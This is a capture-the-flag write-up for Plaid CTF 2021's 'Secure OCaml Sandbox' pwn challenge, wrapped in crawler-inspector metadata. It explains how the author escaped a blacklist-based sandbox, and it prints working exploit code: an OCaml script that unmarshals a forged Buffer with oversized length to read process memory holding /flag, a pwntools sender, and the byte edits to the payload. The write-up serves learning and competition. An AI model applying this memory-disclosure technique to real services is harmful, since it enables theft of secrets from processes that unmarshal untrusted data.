🕷️ Crawler Inspector

URL Lookup

Direct Parameter Lookup

Raw Queries and Responses

1. Shard Calculation

Query:
Response:
Calculated Shard: 126 (from laksa005)

2. Crawled Status Check

Query:
Response:

3. Robots.txt Check

Query:
Response:

4. Spam/Ban Check

Query:
Response:

5. Seen Status Check

ℹ️ Skipped - page is already crawled

📄
INDEXABLE
CRAWLED
17 days ago
🤖
ROBOTS ALLOWED

Page Info Filters

FilterStatusConditionDetails
HTTP statusPASSdownload_http_code = 200HTTP 200
Age cutoffPASSdownload_stamp > now() - 6 MONTH0.6 months ago
History dropPASSisNull(history_drop_reason)No drop reason
Spam/banPASSfh_dont_index != 1 AND ml_spam_score = 0ml_spam_score=0
CanonicalPASSmeta_canonical IS NULL OR = '' OR = src_unparsedNot set

Page Details

PropertyValue
URLhttps://eternal.red/2021/secure-ocaml-sandbox/
Last Crawled2026-03-31 18:48:57 (17 days ago)
First Indexed2022-01-28 18:05:16 (4 years ago)
HTTP Status Code200
Meta TitleSecure OCaml Sandbox - Eternal Stories
Meta DescriptionEscaping OCaml sandbox based on function blacklisting
Meta Canonicalnull
Boilerpipe Text
Event: Plaid CTF 2021 Category: pwn Solves: 33 + 28 Points: 400 + 150 Overview This challenge consisted of 2 sub-challenges. The second one was protected where password was a flag from the pevious one. Files for the first part are here. sudo docker run -v $(pwd)/input:/input -it name runs the challenge. In this challenge we had to read the flag by uploading OCaml script to the server. The path to the fflag file is known from a Docker file. It is sandboxed in a way that open! Sos is added at the very beginning of our script. It means that we load a module which filename is sos.ml It looked like this: #!/bin/sh set -eu if grep -qe "external" -e "unsafe" /input/exploit.ml ; then echo "unsafe!" exit 1 fi echo "open! Sos" > user/exploit.ml cat /input/exploit.ml >> user/exploit.ml dune exec user/exploit.exe Here is a source code for this module - it blacklists a lot of functions. Solution In OCaml, similarly to Rust, functions are split into safe and unsafe ones. Unsafe functions can lead to memory corruption bugs or other problems and usually they have unsafe word in their name. But grep checks if our code contains this word. At the beginning I was trying to find an “soundness”/memory corruption bug in OCaml interpreter by reviewing github issues but my teammates told me that this is an old language so the probability of this is pretty low. So I started looking for not blacklisted functions which could give a flag. https://ocaml.org/api/ lists libraries and their functions for OCaml. We reviewed all of them and found 2 interesting functions: Digest.file which takes a filename as an argument and returns md5 of it. Stdlib.input_value - “This function is identical to Marshal.from_channel ; see the description of module Marshal for more information, in particular concerning the lack of type safety.” After calling Digest.file the process should contain a flag in its memory, maybe somewhere on the heap. Stdlib.input_value receives our payload which is a marshalled big buffer which has size and capacity to big values allowing us to read process memory. Here is the OCaml script which we send to the server: let d = input_value stdin ;; Printf . printf "%d \n " ( Buffer . length d );; for _ = 1 to 0x10000 do let _ = Digest . file "/flag" in () done ;; for i = 1 to ( Buffer . length d ) - 1 do Printf . printf "%c" ( Buffer . nth d i ) done ;; This is just a script that sends our script and a payload: from pwn import * HOST = "mirage.sos.pwni.ng" PORT = 1337 SCRIPT = "input/exploit.ml" PAYLOAD = "payload.bin" script = read ( SCRIPT ) payload = read ( PAYLOAD ) r = remote ( HOST , PORT ) print ( r . recvline ()) print ( r . recvline ()) print ( r . recvline ()) r . sendline ( str ( len ( script ))) r . send ( script ) r . send ( payload ) print ( r . recvline ()) #Buffer.size buf = b "" try : while True : buf += r . recv () except EOFError : pass if b "PCTF{" in buf : flag = buf . split ( b "PCTF{" )[ 1 ] . split ( b "}" )[ 0 ] print ( b "PCTF{" + flag + b "}" ) Now it’s time to think about the payload which will be sent to the server. At the beginning let’s create a binary blob of the normal buffer: let d = Buffer . create 0x666 ;; for _ = 1 to 0x666 do Buffer . add_char d ' A' done ;; output_value ( open_out "/original.bin" ) d ;; This blob can be found here We got a binary blob with 01 06 66 01 06 66 04 01 At the end. 06 66 is an equivalent to our buffer size, these values are probably the size and the capacity. So 01 must mean 2-bytes integer. Playing with it we realized that these integers are represented in big endian mode. And 03 means 8 bytes integer. By changing it to very big values - like 03 01 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 00 04 01 , we got a Buffer which pointer points to a string with the length of 0x666 bytes and size and capacity has set to 0x0100000000000000 . The blob after modifications is here The exploit worked for both sub-challenges: PCTF{d0nt_f0rget_t0_t3rminate_y0ur_l1nes} PCTF{trY1ng_To_get_c4mlS_In_a_Lin3_is_a_r3cipe_f0r_cOrruPtion} ¯\ (ツ) /¯
Markdown
[Eternal Stories](https://eternal.red/) [About](https://eternal.red/about/) [Archive](https://eternal.red/archive/) [Categories](https://eternal.red/categories/) [My talks](https://eternal.red/talks/) # Secure OCaml Sandbox Apr 28, 2021 \| 5 Minute Read - **Event:** Plaid CTF 2021 - **Category:** pwn - **Solves:** 33 + 28 - **Points:** 400 + 150 ![meme](https://eternal.red/assets/files/2021/secure-ocaml-sandbox/meme.png) ## Overview This challenge consisted of 2 sub-challenges. The second one was protected where password was a flag from the pevious one. [Files for the first part are here.](https://eternal.red/assets/files/2021/secure-ocaml-sandbox/sos.oasis.tgz) `sudo docker run -v $(pwd)/input:/input -it name` runs the challenge. In this challenge we had to read the flag by uploading OCaml script to the server. The path to the fflag file is known from a Docker file. It is sandboxed in a way that `open! Sos` is added at the very beginning of our script. It means that we load a module which filename is `sos.ml` It looked like this: ``` #!/bin/sh set -eu if grep -qe "external" -e "unsafe" /input/exploit.ml; then echo "unsafe!" exit 1 fi echo "open! Sos" > user/exploit.ml cat /input/exploit.ml >> user/exploit.ml dune exec user/exploit.exe ``` [Here](https://gist.github.com/Eterna1/430983087a52e7430bc5c0e1d2320d06) is a source code for this module - it blacklists a lot of functions. ## Solution In OCaml, similarly to Rust, functions are split into safe and unsafe ones. Unsafe functions can lead to memory corruption bugs or other problems and usually they have `unsafe` word in their name. But grep checks if our code contains this word. At the beginning I was trying to find an “soundness”/memory corruption bug in OCaml interpreter by reviewing github issues but my teammates told me that this is an old language so the probability of this is pretty low. So I started looking for not blacklisted functions which could give a flag. <https://ocaml.org/api/> lists libraries and their functions for OCaml. We reviewed all of them and found 2 interesting functions: - [Digest.file](https://ocaml.org/api/Digest.html#VALfile) which takes a filename as an argument and returns md5 of it. - [Stdlib.input\_value](https://ocaml.org/api/Stdlib.html#VALinput_value) - “This function is identical to [Marshal.from\_channel](https://ocaml.org/api/Marshal.html#VALfrom_channel); see the description of module Marshal for more information, in particular concerning the lack of type safety.” After calling `Digest.file` the process should contain a flag in its memory, maybe somewhere on the heap. `Stdlib.input_value` receives our payload which is a marshalled big buffer which has size and capacity to big values allowing us to read process memory. Here is the OCaml script which we send to the server: ``` let d = input_value stdin;; Printf.printf "%d\n" (Buffer.length d);; for _ = 1 to 0x10000 do let _ = Digest.file "/flag" in () done;; for i = 1 to (Buffer.length d) - 1 do Printf.printf "%c" (Buffer.nth d i) done;; ``` This is just a script that sends our script and a payload: ``` from pwn import * HOST = "mirage.sos.pwni.ng" PORT = 1337 SCRIPT = "input/exploit.ml" PAYLOAD = "payload.bin" script = read(SCRIPT) payload = read(PAYLOAD) r = remote(HOST,PORT) print (r.recvline()) print (r.recvline()) print (r.recvline()) r.sendline(str(len(script))) r.send(script) r.send(payload) print(r.recvline()) #Buffer.size buf = b"" try: while True: buf += r.recv() except EOFError: pass if b"PCTF{" in buf: flag = buf.split(b"PCTF{")[1].split(b"}")[0] print(b"PCTF{"+flag+b"}") ``` Now it’s time to think about the payload which will be sent to the server. At the beginning let’s create a binary blob of the normal buffer: ``` let d = Buffer.create 0x666;; for _ = 1 to 0x666 do Buffer.add_char d 'A' done;; output_value (open_out "/original.bin") d;; ``` This blob can be found [here](https://eternal.red/assets/files/2021/secure-ocaml-sandbox/original.bin) We got a binary blob with `01 06 66 01 06 66 04 01` At the end. `06 66` is an equivalent to our buffer size, these values are probably the size and the capacity. So `01` must mean 2-bytes integer. Playing with it we realized that these integers are represented in big endian mode. And `03` means 8 bytes integer. By changing it to very big values - like `03 01 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 00 04 01`, we got a Buffer which pointer points to a string with the length of `0x666` bytes and size and capacity has set to `0x0100000000000000`. The blob after modifications is [here](https://eternal.red/assets/files/2021/secure-ocaml-sandbox/payload.bin) The exploit worked for both sub-challenges: ``` PCTF{d0nt_f0rget_t0_t3rminate_y0ur_l1nes} PCTF{trY1ng_To_get_c4mlS_In_a_Lin3_is_a_r3cipe_f0r_cOrruPtion} ``` ¯\\*(ツ)*/¯ - Share : - [Facebook](https://eternal.red/2021/secure-ocaml-sandbox/) - [Linkedin](http://www.linkedin.com/cws/share?url=http://localhost:4000/2021/secure-ocaml-sandbox/ "Share on Linkedin") - [Twitter](https://twitter.com/intent/tweet?text=http://localhost:4000/2021/secure-ocaml-sandbox/%20-%20Secure%20OCaml%20Sandbox%20by%20@EternalRed0 "Share to Twitter") - [Google+](https://plus.google.com/share?url=http://localhost:4000/2021/secure-ocaml-sandbox/ "Share on Google Plus") - [Pinterest](http://pinterest.com/pin/create/link/?url=http://localhost:4000/2021/secure-ocaml-sandbox/ "Share to Pinterest") [← Previous Post](https://eternal.red/2019/sloppy-dev-writeup/) [Next Post →](https://eternal.red/2021/sandboxgrind/) Please enable JavaScript to view the [comments powered by Disqus.](https://disqus.com/?ref_noscript) 2024 © Eternal Stories
Readable Markdownnull
Shard126 (laksa)
Root Hash4967937520191648326
Unparsed URLred,eternal!/2021/secure-ocaml-sandbox/ s443